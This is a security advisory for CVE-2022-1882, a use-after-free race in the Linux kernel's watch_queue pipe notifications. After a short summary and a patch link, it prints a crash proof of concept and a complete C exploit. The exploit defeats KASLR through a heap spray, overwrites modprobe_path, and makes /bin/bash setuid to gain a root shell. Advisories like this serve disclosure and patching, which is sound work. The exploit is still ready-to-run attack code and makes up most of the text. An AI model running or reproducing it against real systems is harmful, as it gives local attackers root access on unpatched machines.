# SSD Advisory - Linux CONFIG_WATCH_QUEUE LPE
September 5, 2022 [SSD Disclosure / Technical Lead](https://ssd-
disclosure.com/author/noamr/ "Posts by SSD Disclosure / Technical Lead")
[Uncategorized](https://ssd-disclosure.com/category/uncategorized/)
**TL;DR**
A vulnerability in the way Linux handles the CONFIG_WATCH_QUEUE allows local
attackers to reach a race condition and use this to elevate their privileges
to root.
**Vulnerability Summary**
A use-after-free flaw was found in the Linux kernel's pipes functionality in
how a user performs manipulations with the pipe `post_one_notification()`
after `free_pipe_info()` that is already called. This flaw allows a local user
to crash or potentially escalate their privileges on the system.
****Credit****
The security researcher has reported this to the SSD Secure Disclosure
program.
**Affected Versions**
* Ubuntu 20.04.x Desktop - 5.13.0-44-generic
**CVE**
CVE-2022-1882
**Vendor Response**
The Linux Kernel team has released a patch to address this vulnerability:
<https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=353f7988dd8413c47718f7ca79c030b6fb62cfe5>
**Vulnerability Analysis**
Due to the way `watch_queue` works, a pointer that is used may be freed prior
to it being accessed / freed again in the `add_watch_to_object()` and
`remove_watch_from_objec`t() function. This allows a local attack to trigger a
UAF which in turn can be exploited to execute arbitrary code with system
(root) privileges.
**Proof Of Concept**
```c
#define _GNU_SOURCE
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <linux/keyctl.h>
#define O_NOTIFICATION_PIPE 0x80
#define KEYCTL_WATCH_KEY 32
uint64_t data[96/8];
void *func0(){
cpu_set_t mask = {0};
CPU_ZERO(&mask);
CPU_SET(1, &mask);
sched_setaffinity(0, sizeof(cpu_set_t), &mask);
int key;
int pipefd[2];
while(1){
syscall(__NR_pipe2, pipefd, O_NOTIFICATION_PIPE);
key = syscall(__NR_add_key, "user","zzz", &data, 96, KEY_SPEC_USER_KEYRING);
syscall(__NR_keyctl, KEYCTL_WATCH_KEY, key, pipefd[0], 0);
syscall(__NR_close,pipefd);
syscall(__NR_close,pipefd[0]);
syscall(__NR_close,pipefd[1]);
}
}
void *func1(){
cpu_set_t mask = {0};
CPU_ZERO(&mask);
CPU_SET(0, &mask);
sched_setaffinity(0, sizeof(cpu_set_t), &mask);
int key;
int pipefd[2];
while(1){
syscall(__NR_pipe2, pipefd, O_NOTIFICATION_PIPE);
key = syscall(__NR_add_key, "user","zzz", &data, 96, KEY_SPEC_USER_KEYRING);
syscall(__NR_keyctl, KEYCTL_WATCH_KEY, key, pipefd[0], 0);
syscall(__NR_close,pipefd);
syscall(__NR_close,pipefd[0]);
syscall(__NR_close,pipefd[1]);
}
}
int fpid1,fpid2;
int main(void){
printf("[+] Main process PID: %d\n",getpid());
uint64_t pipe_obj = 0xffff888100886000 + 0x30;
//data[2] = 0x4141414141;
data[3] = 0x6161616161; // wqueue->pipe
data[5] = 0x7777777788888888;
int fpid1 = fork();
if (!fpid1) {
func0();
}
printf("[+] Racer 1 PID: %d\n",fpid1);
fpid2 = fork();
if (!fpid2)
{
func1();
}
printf("[+] Racer 2 PID: %d\n",fpid2);
usleep(500000);
//sleep(1);
kill(fpid1,SIGSEGV);
kill(fpid2,SIGSEGV);
return 0;
}
```
**Exploit**
```c
#define _GNU_SOURCE
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <signal.h>
#include <linux/keyctl.h>
#include <fcntl.h>
// CHANGE THESE
uint64_t off_watch_queue_pipe_buf_ops = 0;
uint64_t off_modprobe_path = 0;
//////////////
#define O_NOTIFICATION_PIPE 0x80
#define KEYCTL_WATCH_KEY 32
#define MSG_ERR "[-] Exploit was killed to prevent breaking up kernel heap layout, run the exploit again!"
#define SPRAY 1000
#define msgsnd(msqid, msgp, msgsz, msgflg) syscall(__NR_msgsnd,msqid,msgp,msgsz,msgflg)
#define msgrcv(msqid,msgp,msgsz,msgtyp,msgflg) syscall(__NR_msgrcv,msqid,msgp,msgsz,msgtyp,msgflg)
struct msg_buf{
long mtype;
char mtext[4096-48+1024-8];
};
struct msg_buf *data[SPRAY];
int key;
int pipefd[2];
int pipe_spray[SPRAY][2];
char desc[100];
int msqid[SPRAY];
pthread_barrier_t barrier,barrier2;
uint64_t data_key[96/8];
int fpid1,fpid2;
uint64_t pipe_obj[(1024-48)/8];
int oob_msg;
uint64_t next_msg;
uint64_t sec_next_msg;
uint64_t fake_obj_idx;
uint64_t target_obj_idx;
int stop = 0;
int byte;
char mem[10000];
uint64_t fake_obj;
uint64_t target_obj;
uint64_t watch_queue_pipe_buf_ops = 0;
uint64_t kbase = 0;
uint64_t modprobe_path = 0;
pthread_t th0, th1;
void *func3(){
cpu_set_t mask = {0};
CPU_ZERO(&mask);
CPU_SET(1, &mask);
sched_setaffinity(0, sizeof(cpu_set_t), &mask);
int key;
int pipefd[2];
while(1){
syscall(__NR_pipe2, pipefd, O_NOTIFICATION_PIPE);
key = syscall(__NR_add_key, "user","zzz", &data_key, 96, KEY_SPEC_USER_KEYRING);
syscall(__NR_keyctl, KEYCTL_WATCH_KEY, key, pipefd[0], 0);
syscall(__NR_close,pipefd);
syscall(__NR_close,pipefd[0]);
syscall(__NR_close,pipefd[1]);
}
}
void *func2(){
cpu_set_t mask = {0};
CPU_ZERO(&mask);
CPU_SET(0, &mask);
sched_setaffinity(0, sizeof(cpu_set_t), &mask);
int key;
int pipefd[2];
while(1){
syscall(__NR_pipe2, pipefd, O_NOTIFICATION_PIPE);
key = syscall(__NR_add_key, "user","zzz", &data_key, 96, KEY_SPEC_USER_KEYRING);
syscall(__NR_keyctl, KEYCTL_WATCH_KEY, key, pipefd[0], 0);
syscall(__NR_close,pipefd);
syscall(__NR_close,pipefd[0]);
syscall(__NR_close,pipefd[1]);
}
}
void *func0(){
int ret = 0;
cpu_set_t mask = {0};
CPU_ZERO(&mask);
CPU_SET(1, &mask);
sched_setaffinity(0, sizeof(cpu_set_t), &mask);
while(1){
syscall(__NR_pipe2, pipefd, 0x80);
key = syscall(__NR_add_key, "user","aaa", "A", 128, KEY_SPEC_USER_KEYRING);
syscall(__NR_keyctl, 0x20, key, pipefd[0], 0, 0);
syscall(__NR_ioctl, pipefd[1], 0x5760, 1);
syscall(__NR_add_key, "user","aaa", "A", 128, KEY_SPEC_USER_KEYRING);
pthread_barrier_wait(&barrier2);
pthread_barrier_wait(&barrier);
syscall(__NR_close,pipefd);
syscall(__NR_close,pipefd[0]);
syscall(__NR_close,pipefd[1]);
for (int i = 0; i < SPRAY; i++){
syscall(__NR_msgsnd,msqid[i],data[i],64-48,0);
}
for (size_t i = 0; i < SPRAY; i++){
byte = msgrcv(msqid[i],mem,0x50,0,IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
if (byte > 0x10){
memcpy(&next_msg,mem+40,8);
printf("[+] oob msg id: %d\n",next_msg);
next_msg--;
oob_msg = i;
stop = 1;
pthread_exit(&ret);
}
}
for (size_t i = 0; i < SPRAY; i++){
msgrcv(msqid[i],mem,16,i+1,IPC_NOWAIT | MSG_NOERROR);
}
}
}
void *func1(){
cpu_set_t mask = {0};
CPU_ZERO(&mask);
CPU_SET(0, &mask);
sched_setaffinity(0, sizeof(cpu_set_t), &mask);
while(1){
pthread_barrier_wait(&barrier2);
pthread_barrier_wait(&barrier);
for (size_t i = 0; i < 50; i++){
syscall(__NR_add_key, "user","aaa", "A", 128, KEY_SPEC_USER_KEYRING);
}
}
}
void init(){
if(off_modprobe_path == 0 || off_watch_queue_pipe_buf_ops == 0){
puts("Please set offsets of modprobe_path and watch_queue_pipe_ops as documented in the instructions!");
exit(-1);
}
puts("[*] STAGE 1: Initialization");
cpu_set_t mask = {0};
CPU_ZERO(&mask);
CPU_SET(1, &mask);
sched_setaffinity(0, sizeof(cpu_set_t), &mask);
for (size_t i = 0; i < SPRAY; i++)
{
data[i] = malloc(sizeof(struct msg_buf));
data[i]->mtype = i + 1;
memset(data[i]->mtext,'A',4096-48+1024-8);
}
memset(mem,0,sizeof(mem));
pthread_barrier_init(&barrier,0,2);
pthread_barrier_init(&barrier2,0,2);
for (int i = 0; i < SPRAY; i++){
msqid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
}
}
void race(){
puts("[*] STAGE 2: Racing OOB read");
pthread_create(&th0,0,func0,0);
pthread_create(&th1,0,func1,0);
while(1){
if (stop)
{
if (next_msg < 1000 && next_msg != 0 && !memcmp(mem+32+6,"\xff\xff",2) && !memcmp(mem+24+6,"\xff\xff",2)){
pthread_cancel(th1);
break;
}
puts(MSG_ERR);
exit(-1);
}
}
}
void objects(){
cpu_set_t mask = {0};
CPU_ZERO(&mask);
CPU_SET(0, &mask);
sched_setaffinity(0, sizeof(cpu_set_t), &mask);
puts("[*] STAGE 3: Create fake object");
msgsnd(msqid[next_msg],data[next_msg],4096-48+512-8,0);
msgrcv(msqid[oob_msg],mem,0x50,0,IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
if (memcmp(mem+24+6,"\xff\xff",2) != 0)
{
puts(MSG_ERR);
exit(-1);
}
memcpy(&fake_obj,mem+24,8);
printf("[+] fake object: %#lx\n",fake_obj);
puts("[*] STAGE 4: Create target object");
for (size_t i = 0; i < SPRAY; i++)
{
if(i == oob_msg || i == next_msg){
continue;
}
msgrcv(msqid[i],mem,10000,data[i]->mtype,IPC_NOWAIT | MSG_NOERROR);
}
msgrcv(msqid[next_msg],mem,64-48,data[next_msg]->mtype,IPC_NOWAIT | MSG_NOERROR);
for (size_t i = 0; i < next_msg; i++)
{
msgsnd(msqid[i],data[i],64-48,0);
}
for (size_t i = next_msg + 1; i < SPRAY; i++)
{
msgsnd(msqid[i],data[i],64-48,0);
}
msgrcv(msqid[oob_msg],mem,0x50,0,IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
memcpy(&sec_next_msg,mem+40,8);
sec_next_msg--;
printf("[+] reallocated secondary msg id: %d\n",sec_next_msg);
msgsnd(msqid[sec_next_msg],data[sec_next_msg],1024-48,0);
msgrcv(msqid[oob_msg],mem,0x50,0,IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
if (memcmp(mem+24+6,"\xff\xff",2) != 0)
{
puts(MSG_ERR);
exit(-1);
}
memcpy(&target_obj,mem+24,8);
printf("[+] target obj: %#lx\n",target_obj);
}
void kaslr(){
puts("[*] STAGE 5: Bypass KASLR");
for (size_t i = 0; i < SPRAY/2; i++){
syscall(__NR_pipe2, pipe_spray[i], 0x80);
sprintf(desc,"fscrypt:e8dab99234bb312%d",i);
key = syscall(__NR_add_key, "logon",desc, "B", 512, KEY_SPEC_USER_KEYRING);
syscall(__NR_keyctl, KEYCTL_WATCH_KEY, key, pipe_spray[i][0], 0, 0);
}
msgrcv(msqid[sec_next_msg],mem,64-48,data[sec_next_msg]->mtype,IPC_NOWAIT | MSG_NOERROR);
usleep(500000);
for (size_t i = 0; i < SPRAY/2; i++){
syscall(__NR_ioctl, pipe_spray[i][1], 0x5760, 1);
}
for (size_t i = 0; i < SPRAY/2; i++){
sprintf(desc,"fscrypt:e8dab99234bb312%d",i);
syscall(__NR_add_key, "logon",desc, "B", 512, KEY_SPEC_USER_KEYRING);
}
msgrcv(msqid[oob_msg],mem,0x50,0,IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
memcpy(&watch_queue_pipe_buf_ops,mem+40,8);
if (memcmp(mem+40+6,"\xff\xff",2) != 0){
puts(MSG_ERR);
exit(-1);
}
kbase = watch_queue_pipe_buf_ops - off_watch_queue_pipe_buf_ops;
modprobe_path = kbase + off_modprobe_path;
printf("[+] watch_queue_pipe_buf_ops: %#lx\n",watch_queue_pipe_buf_ops);
printf("[+] kbase: %#lx\n",kbase);
printf("[+] modprobe_path: %#lx\n",modprobe_path);
for (size_t i = 0; i < SPRAY/2; i++)
{
syscall(__NR_close,pipe_spray[i]);
syscall(__NR_close,pipe_spray[i][0]);
syscall(__NR_close,pipe_spray[i][1]);
}
}
void arb_free(){
fake_obj_idx = next_msg;
target_obj_idx = sec_next_msg;
for (size_t i = 0; i < SPRAY; i++){
if(i == fake_obj_idx || i == target_obj_idx){
continue;
}
msgrcv(msqid[i],mem,64-48,i,IPC_NOWAIT | MSG_NOERROR);
msgrcv(msqid[i],mem,10000,i,IPC_NOWAIT | MSG_NOERROR);
}
memset(&pipe_obj,0,sizeof(pipe_obj));
pipe_obj[19] = fake_obj+0x8;
pipe_obj[10] = 0x1;
pipe_obj[11] = 0x0000000100000000;
uint64_t tmp = target_obj-8;
for (size_t i = 0; i < SPRAY; i++)
{
memcpy(data[i]->mtext,&pipe_obj,sizeof(pipe_obj));
memset(data[i]->mtext+4048,0x45,1024);
memcpy(data[i]->mtext+4048+64-8,&tmp,8);
}
msgrcv(msqid[fake_obj_idx],mem,4096-48+512-8,data[fake_obj_idx]->mtype,IPC_NOWAIT | MSG_NOERROR);
for (size_t i = 0; i < target_obj_idx; i++)
{
msgsnd(msqid[i],data[i],4096-48+512-8,0);
}
for (size_t i = 0; i < target_obj_idx; i++)
{
msgsnd(msqid[i],data[i],4096-48+512-8,0);
}
data_key[3] = fake_obj+0x30;
data_key[5] = 0x7777777788888888;
fpid1 = fork();
if (!fpid1) {
func2();
}
printf("[+] Racer 1 PID: %d\n",fpid1);
fpid2 = fork();
if (!fpid2)
{
func3();
}
printf("[+] Racer 2 PID: %d\n",fpid2);
usleep(500000);
kill(fpid1,SIGSEGV);
kill(fpid2,SIGSEGV);
////////////////////////////
uint64_t fake_msg[48+8];
memset(&fake_msg,0,sizeof(fake_msg));
fake_msg[0] = modprobe_path-8;
memcpy(&fake_msg[1],"/tmp/xx",8);
fake_msg[2] = 0x100;
fake_msg[3] = 0x3d0;
for (size_t i = 0; i < SPRAY; i++){
memset(data[i]->mtext+4048,0x47,1024);
memcpy(data[i]->mtext+4048,&fake_msg,sizeof(fake_msg));
}
for (size_t i = 0; i < SPRAY; i++){
if (i == target_obj_idx)
{
continue;
}
msgrcv(msqid[i],mem,4096-48+512-8-64,data[i]->mtype,IPC_NOWAIT | MSG_NOERROR);
msgsnd(msqid[i],data[i],4096-48+1024-8-64,0);
}
if (!fork())
{
msgrcv(msqid[target_obj_idx],mem,1024-8,0x100,IPC_NOWAIT | MSG_NOERROR);
}
sleep(2);
}
void get_root(){
puts("[*] STAGE 7: Getting root!");
char code[] = "\xff\xff\xff\xff";
int fd1 = open("/tmp/abc",O_CREAT | O_RDWR);
chmod("/tmp/abc",0777);
write(fd1,code,sizeof(code) - 1);
char code2[] = "#!/bin/sh\nchmod u+s /bin/bash\n";
int fd2 = open("/tmp/xx",O_CREAT | O_RDWR);
chmod("/tmp/xx",0777);
write(fd2,code2,sizeof(code2));
close(fd1);
close(fd2);
system("/tmp/abc");
unlink("/tmp/abc");
unlink("/tmp/xx");
system("/bin/bash -p");
}
int main(void){
init();
race();
objects();
kaslr();
arb_free();
get_root();
}
```
Unavailable Comments